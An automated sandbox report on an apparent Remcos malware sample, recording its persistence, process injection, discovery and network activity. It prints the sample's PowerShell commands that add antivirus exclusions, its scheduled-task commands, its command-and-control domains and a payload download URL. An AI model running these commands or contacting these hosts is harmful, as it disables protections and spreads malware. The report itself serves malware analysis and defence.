remcos | 89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe

Executes dropped EXE 5 IoCs

pid	Process
1508	._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
2836	Synaptics.exe
3800	Synaptics.exe
2300	Synaptics.exe
1048	._cache_Synaptics.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2972 set thread context of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2836 set thread context of 2300	2836	Synaptics.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4396	schtasks.exe
2244	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4044	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
3972	powershell.exe
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
2372	powershell.exe
2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
3972	powershell.exe
2372	powershell.exe
2836	Synaptics.exe
2836	Synaptics.exe
2836	Synaptics.exe
2836	Synaptics.exe
656	powershell.exe
2836	Synaptics.exe
2836	Synaptics.exe
3840	powershell.exe
2836	Synaptics.exe
656	powershell.exe
3840	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2836	Synaptics.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1508	._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 3972	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	89
PID 2972 wrote to memory of 3972	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	89
PID 2972 wrote to memory of 3972	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	89
PID 2972 wrote to memory of 2372	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	91
PID 2972 wrote to memory of 2372	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	91
PID 2972 wrote to memory of 2372	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	91
PID 2972 wrote to memory of 4396	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	93
PID 2972 wrote to memory of 4396	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	93
PID 2972 wrote to memory of 4396	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	93
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 2972 wrote to memory of 916	2972	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	95
PID 916 wrote to memory of 1508	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	96
PID 916 wrote to memory of 1508	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	96
PID 916 wrote to memory of 1508	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	96
PID 916 wrote to memory of 2836	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	97
PID 916 wrote to memory of 2836	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	97
PID 916 wrote to memory of 2836	916	89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe	97
PID 2836 wrote to memory of 656	2836	Synaptics.exe	100
PID 2836 wrote to memory of 656	2836	Synaptics.exe	100
PID 2836 wrote to memory of 656	2836	Synaptics.exe	100
PID 2836 wrote to memory of 3840	2836	Synaptics.exe	102
PID 2836 wrote to memory of 3840	2836	Synaptics.exe	102
PID 2836 wrote to memory of 3840	2836	Synaptics.exe	102
PID 2836 wrote to memory of 2244	2836	Synaptics.exe	104
PID 2836 wrote to memory of 2244	2836	Synaptics.exe	104
PID 2836 wrote to memory of 2244	2836	Synaptics.exe	104
PID 2836 wrote to memory of 3800	2836	Synaptics.exe	106
PID 2836 wrote to memory of 3800	2836	Synaptics.exe	106
PID 2836 wrote to memory of 3800	2836	Synaptics.exe	106
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2836 wrote to memory of 2300	2836	Synaptics.exe	107
PID 2300 wrote to memory of 1048	2300	Synaptics.exe	108
PID 2300 wrote to memory of 1048	2300	Synaptics.exe	108
PID 2300 wrote to memory of 1048	2300	Synaptics.exe	108

C:\Users\Admin\AppData\Local\Temp\89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
"C:\Users\Admin\AppData\Local\Temp\89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\BLznCuyzwk.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BLznCuyzwk" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1316.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:4396
- C:\Users\Admin\AppData\Local\Temp\89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
  "C:\Users\Admin\AppData\Local\Temp\89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Users\Admin\AppData\Local\Temp\._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1508
- - C:\ProgramData\Synaptics\Synaptics.exe
    "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\Synaptics\Synaptics.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:656
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\BLznCuyzwk.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3840
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BLznCuyzwk" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7980.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2244
  - - C:\ProgramData\Synaptics\Synaptics.exe
      "C:\ProgramData\Synaptics\Synaptics.exe"
      4⤵
      Executes dropped EXE
      PID:3800
  - - C:\ProgramData\Synaptics\Synaptics.exe
      "C:\ProgramData\Synaptics\Synaptics.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:2300
    - - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1048

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4044

Network

DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

133.211.185.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.211.185.52.in-addr.arpa

IN PTR

Response
DNS

172.210.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.210.232.199.in-addr.arpa

IN PTR

Response
DNS

2.159.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

2.159.190.20.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

28.118.140.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

28.118.140.52.in-addr.arpa

IN PTR

Response
DNS

nzobaku.ddns.net

._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe

Remote address:

8.8.8.8:53

Request

nzobaku.ddns.net

IN A

Response

nzobaku.ddns.net

IN A

0.0.0.0
DNS

212.20.149.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

212.20.149.52.in-addr.arpa

IN PTR

Response
DNS

241.42.69.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.42.69.40.in-addr.arpa

IN PTR

Response
DNS

180.129.81.91.in-addr.arpa

Remote address:

8.8.8.8:53

Request

180.129.81.91.in-addr.arpa

IN PTR

Response
DNS

240.76.109.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

240.76.109.52.in-addr.arpa

IN PTR

Response
DNS

14.160.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

14.160.190.20.in-addr.arpa

IN PTR

Response
DNS

xred.mooo.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

xred.mooo.com

IN A

Response
DNS

freedns.afraid.org

Synaptics.exe

Remote address:

8.8.8.8:53

Request

freedns.afraid.org

IN A

Response

freedns.afraid.org

IN A

69.42.215.252
GET

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Synaptics.exe

Remote address:

69.42.215.252:80

Request

GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1
User-Agent: MyApp
Host: freedns.afraid.org
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Thu, 19 Dec 2024 02:18:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Cache: MISS
DNS

252.215.42.69.in-addr.arpa

Remote address:

8.8.8.8:53

Request

252.215.42.69.in-addr.arpa

IN PTR

Response
DNS

252.215.42.69.in-addr.arpa

Remote address:

8.8.8.8:53

Request

252.215.42.69.in-addr.arpa

IN PTR

Response
DNS

171.117.168.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.117.168.52.in-addr.arpa

IN PTR

Response
DNS

13.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.227.111.52.in-addr.arpa

IN PTR

Response
DNS

docs.google.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

docs.google.com

IN A

Response

docs.google.com

IN A

216.58.214.174
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:04 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-ndnKM57NLE5zLkmohdNcDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache
Cookie: NID=520=HP7ZbPUifh3eersYx-s_ECMblac2Yrq8b23iPUtLJnq9dZ-ize5Jcup8D1QIBB9eU1nKfszbg9Vxxluf01jOotyAfnCks8ngXTUNSi-GSQLTT2bjFyJF6d3RL-j8L7n8ujv9vFY7J9w33HCXpAgoT5vsdAyugk254HHs6HKnD6FgQ68e

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:05 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: script-src 'report-sample' 'nonce-e59lWVFRhtorwfwyIZ87-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache
Cookie: NID=520=HP7ZbPUifh3eersYx-s_ECMblac2Yrq8b23iPUtLJnq9dZ-ize5Jcup8D1QIBB9eU1nKfszbg9Vxxluf01jOotyAfnCks8ngXTUNSi-GSQLTT2bjFyJF6d3RL-j8L7n8ujv9vFY7J9w33HCXpAgoT5vsdAyugk254HHs6HKnD6FgQ68e

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:05 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Cross-Origin-Opener-Policy: same-origin
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Content-Security-Policy: script-src 'report-sample' 'nonce-KDbzHI5HD_c9pRNSBRF1ZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
DNS

c.pki.goog

Synaptics.exe

Remote address:

8.8.8.8:53

Request

c.pki.goog

IN A

Response

c.pki.goog

IN CNAME

pki-goog.l.google.com

pki-goog.l.google.com

IN A

142.250.179.67
GET

http://c.pki.goog/r/r1.crl

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /r/r1.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: c.pki.goog

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
Content-Length: 854
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Date: Thu, 19 Dec 2024 01:57:24 GMT
Expires: Thu, 19 Dec 2024 02:47:24 GMT
Cache-Control: public, max-age=3000
Age: 1300
Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
Content-Type: application/pkix-crl
Vary: Accept-Encoding
DNS

174.214.58.216.in-addr.arpa

Remote address:

8.8.8.8:53

Request

174.214.58.216.in-addr.arpa

IN PTR

Response

174.214.58.216.in-addr.arpa

IN PTR

mad01s26-in-f141e100net

174.214.58.216.in-addr.arpa

IN PTR

mad01s26-in-f174�I

174.214.58.216.in-addr.arpa

IN PTR

par10s42-in-f14�I
DNS

67.179.250.142.in-addr.arpa

Remote address:

8.8.8.8:53

Request

67.179.250.142.in-addr.arpa

IN PTR

Response

67.179.250.142.in-addr.arpa

IN PTR

par21s19-in-f31e100net
DNS

o.pki.goog

Synaptics.exe

Remote address:

8.8.8.8:53

Request

o.pki.goog

IN A

Response

o.pki.goog

IN CNAME

pki-goog.l.google.com

pki-goog.l.google.com

IN A

142.250.179.67
GET

http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDIOoql8hHyJhDFZvyBCxik

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDIOoql8hHyJhDFZvyBCxik HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: o.pki.goog

Response

HTTP/1.1 200 OK

Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Date: Thu, 19 Dec 2024 01:23:53 GMT
Cache-Control: public, max-age=14400
Content-Type: application/ocsp-response
Age: 3311
GET

